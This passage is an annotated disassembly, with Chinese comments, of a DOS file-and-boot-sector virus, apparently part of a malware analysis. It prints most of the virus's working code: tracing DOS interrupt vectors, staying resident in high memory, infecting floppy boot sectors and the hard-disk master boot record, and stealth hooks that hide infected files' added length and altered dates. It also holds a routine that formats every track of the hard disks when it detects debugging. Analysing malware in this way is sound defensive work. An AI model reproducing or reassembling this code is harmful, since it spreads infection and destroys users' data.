9E80:0294 3BC1           CMP	AX,CX 		;是否调用者在病毒内
9E80:0296 752B           JNZ	02C3 		;不在病毒内开始执行 INT 01 功能
9E80:0298 E9BF00         JMP	035A
;以下由 022F 处执行, 找 MSDOS INT 13 地址
9E80:029B 3B0EAD02       CMP	CX,[02AD] 	;02AD 为第一个 MCB 地址
9E80:029F 734D           JNB	02EE 		;不在 MSDOS 内返回
9E80:02A1 BFEF13         MOV	DI,13EF
9E80:02A4 C606970230     MOV	Byte Ptr [0297],30	;下一次 0296
9E80:02A9 EB0C           JMP	02B7 		;处为 JNZ 02C8
;以下由 0257 处执行, 找 INT 21 地址
9E80:02AB 81F9A30B       CMP	CX,0BA3  ===>	;本句地址由 021F 设置
9E80:02AF 733D           JNB	02EE 		;为第一块 MCB 地址
9E80:02B1 BFFB13         MOV	DI,13FB
9E80:02B4 80E6FE         AND	DH,FE 		;保存找到的地址
9E80:02B7 891D           MOV	[DI],BX 	;并停止 INT 01
9E80:02B9 894D02         MOV	[DI+02],CX
9E80:02BC EB30           JMP	02EE
;以下由 024C 处执行, 找 INT 15 地址
9E80:02BE BFF313         MOV	DI,13F3
9E80:02C1 EB08           JMP	02CB
;以下由 0262 处执行, 找 INT 40 地址
9E80:02C3 BFF713         MOV	DI,13F7
9E80:02C6 EB03           JMP	02CB
9E80:02C8 BFEB13         MOV	DI,13EB 	;从 02A9 转来
9E80:02CB 80FDC8         CMP	CH,C8 		;段地址 < C800 退出
9E80:02CE 721E           JB	02EE
9E80:02D0 80FDF4         CMP	CH,F4 		;段地址 > F400 退出
9E80:02D3 72DF           JB	02B4 		;段地址指向 BIOS 转 02B4
9E80:02D5 EB17           JMP	02EE 		;保存及停止 INT 01
;INT 01 在 INT 21 结束时执行转此处
9E80:02D7 FE0E1214       DEC	Byte Ptr [1412]
9E80:02DB 7511           JNZ	02EE
9E80:02DD 52             PUSH	DX 		;到 INT 21 第一句
9E80:02DE B001           MOV	AL,01 		;恢复 INT 01 中断
9E80:02E0 C516E313       LDS	DX,[13E3]
9E80:02E4 E8EDFD         CALL	00D4 		;
9E80:02E7 E806FF         CALL	01F0 		;截取 INT 21 中断
9E80:02EA 5A             POP	DX
9E80:02EB 80E6FE         AND	DH,FE
9E80:02EE F6C601         TEST	DH,01 		;标志复位转 035A 退出
9E80:02F1 7467           JZ	035A
9E80:02F3 8ED9           MOV	DS,CX
9E80:02F5 33FF           XOR	DI,DI
9E80:02F7 8B01           MOV	AX,[BX+DI]
9E80:02F9 3CF0           CMP	AL,F0
9E80:02FB 7412           JZ	030F
9E80:02FD 3CF2           CMP	AL,F2
9E80:02FF 740E           JZ	030F
9E80:0301 3CF3           CMP	AL,F3
9E80:0303 740A           JZ	030F
9E80:0305 3C9C           CMP	AL,9C
9E80:0307 7309           JNB	0312
9E80:0309 24E7           AND	AL,E7
9E80:030B 3C26           CMP	AL,26
9E80:030D 754B           JNZ	035A
9E80:030F 47             INC	DI
9E80:0310 EBE5           JMP	02F7
9E80:0312 750C           JNZ	0320
9E80:0314 80E6FE         AND	DH,FE
9E80:0317 52             PUSH	DX
9E80:0318 8D5901         LEA	BX,[BX+DI+01]
9E80:031B 80CE01         OR	DH,01
9E80:031E EBD3           JMP	02F3
9E80:0320 3C9D           CMP	AL,9D
9E80:0322 7503           JNZ	0327
9E80:0324 5A             POP	DX
9E80:0325 EBF1           JMP	0318
9E80:0327 3CCF           CMP	AL,CF
9E80:0329 7505           JNZ	0330
9E80:032B 5B             POP	BX
9E80:032C 59             POP	CX
9E80:032D 5A             POP	DX
9E80:032E EBEB           JMP	031B
9E80:0330 3CCD           CMP	AL,CD
9E80:0332 7412           JZ	0346
9E80:0334 3CCC           CMP	AL,CC
9E80:0336 B403           MOV	AH,03
9E80:0338 740B           JZ	0345
9E80:033A 3CCE           CMP	AL,CE
9E80:033C B404           MOV	AH,04
9E80:033E 751A           JNZ	035A
9E80:0340 F6C608         TEST	DH,08
9E80:0343 7415           JZ	035A
9E80:0345 4B             DEC	BX
9E80:0346 80E6FE         AND	DH,FE
9E80:0349 8D5902         LEA	BX,[BX+DI+02]
9E80:034C 52             PUSH	DX
9E80:034D 51             PUSH	CX
9E80:034E 53             PUSH	BX
9E80:034F 8AC4           MOV	AL,AH
9E80:0351 06             PUSH	ES
9E80:0352 E86EFD         CALL	00C3
9E80:0355 8CC1           MOV	CX,ES
9E80:0357 07             POP	ES
9E80:0358 EBC1           JMP	031B
9E80:035A 52             PUSH	DX
9E80:035B 51             PUSH	CX
9E80:035C 53             PUSH	BX
9E80:035D B85E9E         MOV	AX,9E5E
9E80:0360 8ED8           MOV	DS,AX
9E80:0362 B80601         MOV	AX,0106
9E80:0365 BB00FF         MOV	BX,FF00
9E80:0368 B90000         MOV	CX,0000
9E80:036B BA7702         MOV	DX,0277
9E80:036E BF9702         MOV	DI,0297
9E80:0371 CF             IRET
;=========================================================================
;	可执行文件入口
;=========================================================================
9E80:0372 1E             PUSH	DS
9E80:0373 E80000         CALL	0376 		;重定位
9E80:0376 5E             POP	SI
9E80:0377 81EE7603       SUB	SI,0376
9E80:037B E83BFE         CALL	01B9 		;检测是否有跟踪
9E80:037E 0BED           OR	BP,BP 		;有跟踪转 038D
9E80:0380 750B           JNZ	038D
9E80:0382 B430           MOV	AH,30
9E80:0384 BB9AF9         MOV	BX,F99A
9E80:0387 CD21           INT	21
9E80:0389 3C03           CMP	AL,03 		;内存驻留检测
9E80:038B 7230           JB	03BD 		;已驻留转 03BD
9E80:038D 8CC0           MOV	AX,ES
9E80:038F 48             DEC	AX
9E80:0390 8ED8           MOV	DS,AX
9E80:0392 33FF           XOR	DI,DI
9E80:0394 0BED           OR	BP,BP 		;有跟踪转 039D
9E80:0396 7505           JNZ	039D
9E80:0398 803D5A         CMP	Byte Ptr [DI],5A	;非最后一块 MCB
9E80:039B 7520           JNZ	03BD 		;转执行原程序
9E80:039D B86201         MOV	AX,0162
9E80:03A0 294503         SUB	[DI+03],AX 	;内存减 1620 (5664)字节
9E80:03A3 294512         SUB	[DI+12],AX
9E80:03A6 8E4512         MOV	ES,[DI+12]
9E80:03A9 8EDF           MOV	DS,DI 		;BIOS 内存减 6K
9E80:03AB 832E130406     SUB	Word Ptr [0413],+06
9E80:03B0 B9D913         MOV	CX,13D9 	;将病毒 13D9 字节移动到高端
9E80:03B3 FC             CLD
9E80:03B4 F3             REPZ
9E80:03B5 2EA4           MOVSB	CS:
9E80:03B7 B8FA03         MOV	AX,03FA 	;转高端 03FA 继续执行
9E80:03BA 06             PUSH	ES
9E80:03BB 50             PUSH	AX
9E80:03BC CB             RETF
;=========================================================================
9E80:03BD 0E             PUSH	CS 		;执行原程序
9E80:03BE 1F             POP	DS
9E80:03BF 07             POP	ES
9E80:03C0 8DB47012       LEA	SI,[SI+1270] 	;原文件头位置
9E80:03C4 8B04           MOV	AX,[SI]
9E80:03C6 3D4D5A         CMP	AX,5A4D 	;.EXE 文件转 03DF
9E80:03C9 7414           JZ	03DF
9E80:03CB 3D5A4D         CMP	AX,4D5A
9E80:03CE 740F           JZ	03DF
9E80:03D0 B90C00         MOV	CX,000C 	;.COM 文件恢复原文件头 000C字
9E80:03D3 BF0001         MOV	DI,0100 	;原文件头 ==> CS:0100
9E80:03D6 06             PUSH	ES
9E80:03D7 57             PUSH	DI
9E80:03D8 FC             CLD
9E80:03D9 F3             REPZ
9E80:03DA A5             MOVSW
9E80:03DB 06             PUSH	ES
9E80:03DC 1F             POP	DS
9E80:03DD 91             XCHG	AX,CX 		;执行原 .COM 文件
9E80:03DE CB             RETF
9E80:03DF 8CC0           MOV	AX,ES 		;.EXE 文件重定位
9E80:03E1 051000         ADD	AX,0010
9E80:03E4 014416         ADD	[SI+16],AX
9E80:03E7 03440E         ADD	AX,[SI+0E]
9E80:03EA 06             PUSH	ES
9E80:03EB 1F             POP	DS
9E80:03EC FA             CLI
9E80:03ED 8ED0           MOV	SS,AX
9E80:03EF 2E8B6410       MOV	SP,CS:[SI+10]
9E80:03F3 33C0           XOR	AX,AX
9E80:03F5 FB             STI
9E80:03F6 2EFF6C14       JMP	FAR CS:[SI+14] 	;执行原 .EXE 文件
;=========================================================================
;文件初始化时由低段跳转过来
9E80:03FA 0E             PUSH	CS
9E80:03FB 1F             POP	DS 		;DI = 13DA
9E80:03FC C6453801       MOV	Byte Ptr [DI+38],01 	;DS:[1412]
9E80:0400 B80200         MOV	AX,0002
9E80:0403 E8600D         CALL	1166 		;产生随机数
9E80:0406 A23D0A         MOV	[0A3D],AL
9E80:0409 C60673042E     MOV	Byte Ptr [0473],2E
9E80:040E B0EA           MOV	AL,EA
9E80:0410 AA             STOSB
9E80:0411 884504         MOV	[DI+04],AL 	;新 INT 13 中断前 5 字节
9E80:0414 B87204         MOV	AX,0472 	;JMP CS:0472
9E80:0417 AB             STOSW
9E80:0418 C745037305     MOV	Word Ptr [DI+03],0573
9E80:041D 8C0D           MOV	[DI],CS 	;新 INT 21 中断前 5 字节
9E80:041F 8C4D05         MOV	[DI+05],CS 	;JMP CS:0573
9E80:0422 57             PUSH	DI
9E80:0423 E8EEFD         CALL	0214		;取 INT 13/15/21/40 地址
9E80:0426 5F             POP	DI
9E80:0427 0E             PUSH	CS
9E80:0428 1F             POP	DS
9E80:0429 A1AD02         MOV	AX,[02AD]
9E80:042C 394515         CMP	[DI+15],AX 	;[13EF]
9E80:042F 770B           JA	043C
9E80:0431 394521         CMP	[DI+21],AX 	;[13FB]
9E80:0434 7706           JA	043C 		;未找到 MSDOS INT 21 入口不截取
9E80:0436 E8ABFD         CALL	01E4 		;截取 INT 13
9E80:0439 E8B4FD         CALL	01F0 		;截取 INT 21
9E80:043C E8D4FC         CALL	0113 		;传染硬盘主引导区
9E80:043F 0BED           OR	BP,BP
9E80:0441 8BF5           MOV	SI,BP
9E80:0443 7503           JNZ	0448 		;有跟踪转 0448
9E80:0445 E975FF         JMP	03BD 		;无跟踪转 03BD 执行原程序
9E80:0448 33DB           XOR	BX,BX
9E80:044A 8EC3           MOV	ES,BX
9E80:044C B280           MOV	DL,80
9E80:044E 32F6           XOR	DH,DH
9E80:0450 33C9           XOR	CX,CX 		;如果有跟踪
9E80:0452 B80105         MOV	AX,0501 	;格式化硬盘
9E80:0455 E85E06         CALL	0AB6
9E80:0458 80E1C0         AND	CL,C0
9E80:045B FEC5           INC	CH
9E80:045D 75F3           JNZ	0452
9E80:045F 80C140         ADD	CL,40
9E80:0462 75EE           JNZ	0452
9E80:0464 32E4           XOR	AH,AH 		;磁盘复位
9E80:0466 CD13           INT	13
9E80:0468 FEC6           INC	DH
9E80:046A 80FE10         CMP	DH,10
9E80:046D 72E1           JB	0450
9E80:046F 42             INC	DX 		;转格式化第二个硬盘
9E80:0470 EBDC           JMP	044E
;=========================================================================
;	病毒新 INT 13H 中断服务程序
;=========================================================================
9E80:0472 EB2E           JMP	04A2   ====>	;本句指令引导区引入时为 NOP
9E80:0474 E875FC         CALL	00EC 		;本段程序为在引导区启动
9E80:0477 B021           MOV	AL,21		;时截取 INT 21
9E80:0479 E847FC         CALL	00C3 		;取 INT 21 中断向量于 ES:BX
9E80:047C 8CC0           MOV	AX,ES
9E80:047E 0E             PUSH	CS
9E80:047F 0E             PUSH	CS
9E80:0480 1F             POP	DS
9E80:0481 07             POP	ES
9E80:0482 3D0008         CMP	AX,0800 	;INT 21 段地址 > 0800
9E80:0485 7718           JA	049F 		;表示尚未设置
9E80:0487 BFFD13         MOV	DI,13FD
9E80:048A FD             STD
9E80:048B 8705           XCHG	AX,[DI]
9E80:048D AF             SCASW
9E80:048E 740F           JZ	049F 		;等于启动初始值退出
9E80:0490 891D           MOV	[DI],BX 	;保存新地址
9E80:0492 B021           MOV	AL,21
9E80:0494 BA7305         MOV	DX,0573 	;设置新 INT 21 到 CS:0573
9E80:0497 E83AFC         CALL	00D4
9E80:049A C60673042E     MOV	Byte Ptr [0473],2E;将 0472 处改为 JMP 04A2
9E80:049F E860FC         CALL	0102 		;POPA
9E80:04A2 80FC02         CMP	AH,02
9E80:04A5 7509           JNZ	04B0
9E80:04A7 83F901         CMP	CX,+01
9E80:04AA 7504           JNZ	04B0
9E80:04AC 0AF6           OR	DH,DH 		;读引导区转 04B6
9E80:04AE 7406           JZ	04B6
9E80:04B0 E8F605         CALL	0AA9 		;执行原 INT 13H
9E80:04B3 CA0200         RETF	0002
;===========================================================================
;读引导区时返回原引导记录及传染程序
9E80:04B6 E8F005         CALL	0AA9 		;执行原 INT 13H
9E80:04B9 E830FC         CALL	00EC 		;PUSHA
9E80:04BC 723D           JB	04FB
9E80:04BE 06             PUSH	ES
9E80:04BF 0E             PUSH	CS
9E80:04C0 07             POP	ES
9E80:04C1 1F             POP	DS
9E80:04C2 B90001         MOV	CX,0100
9E80:04C5 8BF3           MOV	SI,BX
9E80:04C7 BF1314         MOV	DI,1413
9E80:04CA 8BDF           MOV	BX,DI
9E80:04CC FC             CLD
9E80:04CD F3             REPZ			;移动读出的引导记录
9E80:04CE A5             MOVSW	 		;到 CS:1413
9E80:04CF 0E             PUSH	CS
9E80:04D0 1F             POP	DS
9E80:04D1 E8B8FC         CALL	018C 		;判断是否已传染
9E80:04D4 752B           JNZ	0501
9E80:04D6 B80102         MOV	AX,0201 	;已传染读出原引导记录
9E80:04D9 8B4C1B         MOV	CX,[SI+1B]
9E80:04DC 8A741F         MOV	DH,[SI+1F]
9E80:04DF E8D405         CALL	0AB6
9E80:04E2 7217           JB	04FB
9E80:04E4 A10000         MOV	AX,[0000]
9E80:04E7 3907           CMP	[BX],AX
9E80:04E9 7510           JNZ	04FB 		;无病毒转 04FB
9E80:04EB 8B7E0E         MOV	DI,[BP+0E]
9E80:04EE 8E4600         MOV	ES,[BP+00]
9E80:04F1 2BF3           SUB	SI,BX
9E80:04F3 03FE           ADD	DI,SI
9E80:04F5 8D7747         LEA	SI,[BX+47] 	;解密恢复原引导记录
9E80:04F8 E83BFB         CALL	0036
9E80:04FB E804FC         CALL	0102 		;POPA
9E80:04FE CA0200         RETF	0002
;==========================================================================
;传染引导记录程序
9E80:0501 80FA80         CMP	DL,80		;是硬盘不传染
9E80:0504 73F5           JNB	04FB
9E80:0506 B80103         MOV	AX,0301
9E80:0509 B90100         MOV	CX,0001
9E80:050C E8A705         CALL	0AB6
9E80:050F 72EA           JB	04FB
9E80:0511 8BF2           MOV	SI,DX
9E80:0513 8BFB           MOV	DI,BX
9E80:0515 8B4513         MOV	AX,[DI+13]
9E80:0518 8B4D18         MOV	CX,[DI+18]
9E80:051B 294D13         SUB	[DI+13],CX
9E80:051E 890E6F05       MOV	[056F],CX
9E80:0522 33D2           XOR	DX,DX
9E80:0524 0BC0           OR	AX,AX
9E80:0526 74D3           JZ	04FB
9E80:0528 E3D1           JCXZ	04FB
9E80:052A F7F1           DIV	CX
9E80:052C 0BD2           OR	DX,DX
9E80:052E 75CB           JNZ	04FB
9E80:0530 8B5D1A         MOV	BX,[DI+1A]
9E80:0533 0BDB           OR	BX,BX
9E80:0535 74C4           JZ	04FB
9E80:0537 F7F3           DIV	BX
9E80:0539 0BD2           OR	DX,DX
9E80:053B 75BE           JNZ	04FB
9E80:053D 48             DEC	AX
9E80:053E 8AE8           MOV	CH,AL
9E80:0540 B101           MOV	CL,01
9E80:0542 4B             DEC	BX
9E80:0543 8BD6           MOV	DX,SI
9E80:0545 8AF3           MOV	DH,BL
9E80:0547 8BDF           MOV	BX,DI
9E80:0549 E80DFC         CALL	0159
9E80:054C 72AD           JB	04FB
9E80:054E B80903         MOV	AX,0309
9E80:0551 33DB           XOR	BX,BX
9E80:0553 E86005         CALL	0AB6
9E80:0556 72A3           JB	04FB
9E80:0558 B80103         MOV	AX,0301
9E80:055B BB1314         MOV	BX,1413
9E80:055E B90100         MOV	CX,0001
9E80:0561 32F6           XOR	DH,DH
9E80:0563 E85005         CALL	0AB6
9E80:0566 8B5E0E         MOV	BX,[BP+0E]
9E80:0569 8E5E00         MOV	DS,[BP+00]
9E80:056C 816F130F00     SUB	Word Ptr [BX+13],000F
9E80:0571 EB88           JMP	04FB
;=======================================================================
;	新 INT 21 代码部分
;=======================================================================
9E80:0573 FA             CLI
9E80:0574 2E8C16D512     MOV	CS:[12D5],SS 	;保存堆栈地址
9E80:0579 2E8926D712     MOV	CS:[12D7],SP
9E80:057E 0E             PUSH	CS
9E80:057F 17             POP	SS
9E80:0580 BCD913         MOV	SP,13D9 	;切换到内部堆栈
9E80:0583 FB             STI
9E80:0584 E865FB         CALL	00EC 		;PUSHA
9E80:0587 E421           IN	AL,21
9E80:0589 0C02           OR	AL,02
9E80:058B E621           OUT	21,AL		;屏蔽键盘
9E80:058D 0E             PUSH	CS
9E80:058E 1F             POP	DS
9E80:058F BFFF13         MOV	DI,13FF
9E80:0592 899DC4F6       MOV	[DI+F6C4],BX 	;MOV [0AC3],BX
9E80:0596 B024           MOV	AL,24
9E80:0598 E828FB         CALL	00C3 		;取中断向量 INT 24
9E80:059B 895DE8         MOV	[DI-18],BX 	;保存于 13E7
9E80:059E 8C45EA         MOV	[DI-16],ES
9E80:05A1 C705B003       MOV	Word Ptr [DI],03B0 	;MOV AL,3
9E80:05A5 C64502CF       MOV	Byte Ptr [DI+02],CF 	;IRET
9E80:05A9 8BD7           MOV	DX,DI		;设置新 INT 24 中断向量
9E80:05AB E826FB         CALL	00D4
9E80:05AE E851FB         CALL	0102 		;POPA
9E80:05B1 E83CFC         CALL	01F0 		;恢复原 INT 21 中断 5 字节
9E80:05B4 E835FB         CALL	00EC 		;以便调用
;==========================================================================
9E80:05B7 80FC30         CMP	AH,30
9E80:05BA 750E           JNZ	05CA
9E80:05BC 81C36606       ADD	BX,0666 	;病毒驻留检测, DOS 30H 功能
9E80:05C0 7508           JNZ	05CA 		;以 BX = F99A 调用
9E80:05C2 895E10         MOV	[BP+10],BX 	;返回 AX = 0000
9E80:05C5 895E0E         MOV	[BP+0E],BX
9E80:05C8 EB5C           JMP	0626 		;INT 21 返回
;==========================================================================
9E80:05CA 80FC11         CMP	AH,11
9E80:05CD 726F           JB	063E
9E80:05CF 80FC12         CMP	AH,12 		;DOS 11,12 功能 (DIR)
9E80:05D2 776A           JA	063E
9E80:05D4 E8EE04         CALL	0AC5 		;先调用原 INT 21
9E80:05D7 0AC0           OR	AL,AL		;未找到目录项返回
9E80:05D9 7403           JZ	05DE
9E80:05DB E9A502         JMP	0883
9E80:05DE E84E04         CALL	0A2F 		;设置 INT 21 返回值(堆栈中)
9E80:05E1 E8AC04         CALL	0A90 		;取当前执行文件名
9E80:05E4 B84348         MOV	AX,4843 	;于 ES:DI (从 MCB 中)
9E80:05E7 AF             SCASW	 		; "HC"
9E80:05E8 750C           JNZ	05F6
9E80:05EA B84B44         MOV	AX,444B 	; "DK"
9E80:05ED AF             SCASW
9E80:05EE 7506           JNZ	05F6
9E80:05F0 B8534B         MOV	AX,4B53 	; "KS" 即 CHKDSK
9E80:05F3 AF             SCASW	 		;如果执行文件是 CHKDSK
9E80:05F4 7430           JZ	0626 		;则文件长度不减
9E80:05F6 E8A804         CALL	0AA1 		;取 DTA => ES:BX
9E80:05F9 33FF           XOR	DI,DI
9E80:05FB 803FFF         CMP	Byte Ptr [BX],FF
9E80:05FE 7503           JNZ	0603
9E80:0600 BF0700         MOV	DI,0007 	;扩展 FCB
9E80:0603 8D711A         LEA	SI,[BX+DI+1A] 	;
9E80:0606 E82E04         CALL	0A37 		;如果是 ARJ,LHA,PK系列
9E80:0609 741B           JZ	0626 		;BACKUP,MODEM等文件执行中
9E80:060B 803CC8         CMP	Byte Ptr [SI],C8 ;则不改动 (以下同)
9E80:060E 7216           JB	0626 		;未传染返回
9E80:0610 802CC8         SUB	Byte Ptr [SI],C8 	;已传染,年号-100
9E80:0613 C4411D         LES	AX,[BX+DI+1D]
9E80:0616 8CC1           MOV	CX,ES
9E80:0618 2D8812         SUB	AX,1288 	;文件长 - 4744 字节
9E80:061B 83D900         SBB	CX,+00
9E80:061E 7206           JB	0626
9E80:0620 89411D         MOV	[BX+DI+1D],AX
9E80:0623 89491F         MOV	[BX+DI+1F],CX
9E80:0626 E8F503         CALL	0A1E 		;恢复 INT 24,开键盘
9E80:0629 E8D6FA         CALL	0102 		;POPA
9E80:062C E8C1FB         CALL	01F0 		;修改 INT 21 头 5 字节
9E80:062F FA             CLI
9E80:0630 2E8E16D512     MOV	SS,CS:[12D5] 	;恢复原堆栈
9E80:0635 2E8B26D712     MOV	SP,CS:[12D7]
9E80:063A FB             STI
9E80:063B CA0200         RETF	0002
;========================================================================
9E80:063E 80FC4E         CMP	AH,4E		;INT 21 之寻找文件功能
9E80:0641 721B           JB	065E
9E80:0643 80FC4F         CMP	AH,4F
9E80:0646 7716           JA	065E
9E80:0648 E87A04         CALL	0AC5 		;先调用原 INT 21
9E80:064B 7303           JNB	0650
9E80:064D E93302         JMP	0883
9E80:0650 E8DC03         CALL	0A2F 		;保存返回 AX
9E80:0653 E84B04         CALL	0AA1 		;取 DTA 于 ES:BX
9E80:0656 BFFDFF         MOV	DI,FFFD
9E80:0659 8D7719         LEA	SI,[BX+19] 	;更改文件长及时间
9E80:065C EBA8           JMP	0606
;=======================================================================
9E80:065E 3D0242         CMP	AX,4202 	;INT 21 之测试文件长功能
9E80:0661 7524           JNZ	0687
9E80:0663 E85C04         CALL	0AC2 		;调用原 INT 21
9E80:0666 72E5           JB	064D
9E80:0668 E84003         CALL	09AB 		;取系统文件表项于 ES:DI
9E80:066B 7611           JBE	067E
9E80:066D E8C703         CALL	0A37 		;
9E80:0670 740C           JZ	067E
9E80:0672 2D8812         SUB	AX,1288 	;如果传染
9E80:0675 83DA00         SBB	DX,+00 		;文件长 - 4744
9E80:0678 894515         MOV	[DI+15],AX
9E80:067B 895517         MOV	[DI+17],DX
9E80:067E F8             CLC
9E80:067F E8AD03         CALL	0A2F 		;设置 INT 21 返回值
9E80:0682 89560A         MOV	[BP+0A],DX 	;设置返回 DX
9E80:0685 EB9F           JMP	0626
;========================================================================
9E80:0687 3D0057         CMP	AX,5700 	;INT 21 之文件时间功能
9E80:068A 7412           JZ	069E
9E80:068C 3D0157         CMP	AX,5701
9E80:068F 752F           JNZ	06C0
9E80:0691 E81703         CALL	09AB 		;设置文件时间
9E80:0694 7612           JBE	06A8 		;如果传染
9E80:0696 80FEC8         CMP	DH,C8 		;未加 100 年则加 100 年
9E80:0699 730D           JNB	06A8
9E80:069B 80C6C8         ADD	DH,C8
9E80:069E E89603         CALL	0A37
9E80:06A1 7405           JZ	06A8
9E80:06A3 E81C04         CALL	0AC2
9E80:06A6 7303           JNB	06AB
9E80:06A8 E9D801         JMP	0883
9E80:06AB 80FEC8         CMP	DH,C8 		;取文件时间
9E80:06AE 7203           JB	06B3 		;如果传染,则减 100 年
9E80:06B0 80EEC8         SUB	DH,C8
9E80:06B3 F8             CLC
9E80:06B4 E87803         CALL	0A2F 		;设置 INT 21 返回值
9E80:06B7 894E0C         MOV	[BP+0C],CX 	;设置返回 CX,DX 值
9E80:06BA 89560A         MOV	[BP+0A],DX
9E80:06BD E966FF         JMP	0626
;==========================================================================
9E80:06C0 80FC3F         CMP	AH,3F		;INT 21 之读文件功能
9E80:06C3 7403           JZ	06C8
9E80:06C5 E9BD00         JMP	0785
9E80:06C8 E8E002         CALL	09AB 		;取系统文件表项地址
9E80:06CB 76F8           JBE	06C5
9E80:06CD E86703         CALL	0A37 		;压缩程序内退出
9E80:06D0 74F3           JZ	06C5
9E80:06D2 C44511         LES	AX,[DI+11] 	;文件大小 => BX:AX
9E80:06D5 8CC3           MOV	BX,ES
9E80:06D7 C45515         LES	DX,[DI+15] 	;当前指针 => SI:DX
9E80:06DA 8CC6           MOV	SI,ES
9E80:06DC 2E83267C0700   AND	Word Ptr CS:[077C],+00 ;读出长度清零
9E80:06E2 0BF6           OR	SI,SI
9E80:06E4 754D           JNZ	0733
9E80:06E6 83FA18         CMP	DX,+18
9E80:06E9 7348           JNB	0733
9E80:06EB 51             PUSH	CX 		;当前指针 < 0000:0018
9E80:06EC 03CA           ADD	CX,DX
9E80:06EE F5             CMC
9E80:06EF 7303           JNB	06F4 		;> 64K 转 06F7
9E80:06F1 83F918         CMP	CX,+18
9E80:06F4 59             POP	CX 		;读文件头 18 字节内
9E80:06F5 7205           JB	06FC 		;转 06FC
9E80:06F7 B91800         MOV	CX,0018 	;一半在文件头 18 字节内
9E80:06FA 2BCA           SUB	CX,DX 		;CX=在文件头18字节内的字节数
9E80:06FC 50             PUSH	AX
9E80:06FD 53             PUSH	BX
9E80:06FE 52             PUSH	DX
9E80:06FF 83EA18         SUB	DX,+18 		;BX:AX = 文件长
9E80:0702 03C2           ADD	AX,DX 		;
9E80:0704 F5             CMC
9E80:0705 1BDE           SBB	BX,SI
9E80:0707 874515         XCHG	AX,[DI+15] 	;文件指针指向文件尾
9E80:070A 875D17         XCHG	BX,[DI+17]
9E80:070D 50             PUSH	AX
9E80:070E 53             PUSH	BX
9E80:070F 1E             PUSH	DS
9E80:0710 B43F           MOV	AH,3F		;读出原文件头
9E80:0712 8B560A         MOV	DX,[BP+0A]
9E80:0715 8E5E02         MOV	DS,[BP+02]
9E80:0718 E8A703         CALL	0AC2
9E80:071B 1F             POP	DS
9E80:071C 8F4517         POP	[DI+17] 	;恢复原文件指针
9E80:071F 8F4515         POP	[DI+15]
9E80:0722 5A             POP	DX
9E80:0723 9C             PUSHF	 		;由于分两部分读出
9E80:0724 03D0           ADD	DX,AX 		;所以保留第一次读出数
9E80:0726 2E01067C07     ADD	CS:[077C],AX 	;返回时加上第二次读出数
9E80:072B 9D             POPF
9E80:072C 5B             POP	BX 		;BX:AX = 文件长
9E80:072D 58             POP	AX
9E80:072E 7303           JNB	0733
9E80:0730 E95001         JMP	0883
9E80:0733 895515         MOV	[DI+15],DX 	;读出第一部分后的
9E80:0736 897517         MOV	[DI+17],SI 	;文件指针
9E80:0739 8B4E0C         MOV	CX,[BP+0C] 	;原读出字节数
9E80:073C 2E2B0E7C07     SUB	CX,CS:[077C] 	;减去已读出字节数
9E80:0741 2D8812         SUB	AX,1288 	;BX:AX = 文件长
9E80:0744 83DB00         SBB	BX,+00
9E80:0747 50             PUSH	AX
9E80:0748 53             PUSH	BX 		;BX:AX = 减去病毒后文件长
9E80:0749 2BC2           SUB	AX,DX 		;
9E80:074B 1BDE           SBB	BX,SI
9E80:074D 5B             POP	BX
9E80:074E 58             POP	AX
9E80:074F 7304           JNB	0755 		;当前指针不在病毒内转 0755
9E80:0751 33C9           XOR	CX,CX 		;当前指针在病毒内
9E80:0753 EB14           JMP	0769 		;则读出 0 字节
9E80:0755 03D1           ADD	DX,CX
9E80:0757 83D600         ADC	SI,+00 		;SI:DX = 读出后
9E80:075A 3BDE           CMP	BX,SI 		;指针将要在的位置
9E80:075C 770B           JA	0769
9E80:075E 7204           JB	0764
9E80:0760 3BC2           CMP	AX,DX
9E80:0762 7305           JNB	0769 		;未到病毒内转 0769
9E80:0764 2BD1           SUB	DX,CX 		;
9E80:0766 91             XCHG	AX,CX
9E80:0767 2BCA           SUB	CX,DX 		;CX = 到原文件尾长度
9E80:0769 B43F           MOV	AH,3F
9E80:076B 8B560A         MOV	DX,[BP+0A]
9E80:076E 2E03167C07     ADD	DX,CS:[077C]
9E80:0773 8E5E02         MOV	DS,[BP+02]
9E80:0776 E84903         CALL	0AC2 		;读出文件
9E80:0779 7204           JB	077F
9E80:077B 051800         ADD	AX,0018   ===>	;本字节在第一次读出时保存
9E80:077E F8             CLC
9E80:077F E8AD02         CALL	0A2F 		;保存返回 AX
9E80:0782 E9A1FE         JMP	0626
;==========================================================================
9E80:0785 80FC40         CMP	AH,40		;INT 21 之写文件功能
9E80:0788 7402           JZ	078C
9E80:078A EB52           JMP	07DE
9E80:078C E81C02         CALL	09AB 		;取系统文件表项地址
9E80:078F 76F9           JBE	078A
9E80:0791 C44511         LES	AX,[DI+11]
9E80:0794 8CC3           MOV	BX,ES 		;BX:AX = 文件长
9E80:0796 2D1800         SUB	AX,0018
9E80:0799 83DB00         SBB	BX,+00
9E80:079C 874515         XCHG	AX,[DI+15] 	;当前指针 => 文件尾-0018
9E80:079F 875D17         XCHG	BX,[DI+17] 	;BX:AX = 当前指针
9E80:07A2 50             PUSH	AX
9E80:07A3 53             PUSH	BX
9E80:07A4 B80200         MOV	AX,0002
9E80:07A7 874502         XCHG	AX,[DI+02] 	;设置为写打开
9E80:07AA 50             PUSH	AX
9E80:07AB 1E             PUSH	DS
9E80:07AC 0E             PUSH	CS
9E80:07AD 1F             POP	DS
9E80:07AE 07             POP	ES
9E80:07AF E85902         CALL	0A0B 		;读出原文件头 => CS:1270
9E80:07B2 268F4502       POP	ES:[DI+02] 	;恢复打开方式
9E80:07B6 721B           JB	07D3
9E80:07B8 26894515       MOV	ES:[DI+15],AX 	;当前指针 => 文件开始
9E80:07BC 26894517       MOV	ES:[DI+17],AX
9E80:07C0 E84B02         CALL	0A0E 		;写文件头(恢复)
9E80:07C3 720E           JB	07D3
9E80:07C5 06             PUSH	ES
9E80:07C6 1F             POP	DS
9E80:07C7 816D118812     SUB	Word Ptr [DI+11],1288
9E80:07CC 194513         SBB	[DI+13],AX 	;文件长 - 4744
9E80:07CF 806D10C8       SUB	Byte Ptr [DI+10],C8 	;恢复日期
9E80:07D3 268F4517       POP	ES:[DI+17] 	;恢复文件指针
9E80:07D7 268F4515       POP	ES:[DI+15]
9E80:07DB E9A500         JMP	0883 		;转原 INT 21
;=========================================================================
9E80:07DE 80FC3E         CMP	AH,3E		;关闭文件
9E80:07E1 740C           JZ	07EF 		;先复制文件句柄再传染
9E80:07E3 3D004B         CMP	AX,4B00 	;执行文件
9E80:07E6 7403           JZ	07EB 		;先打开文件再传染
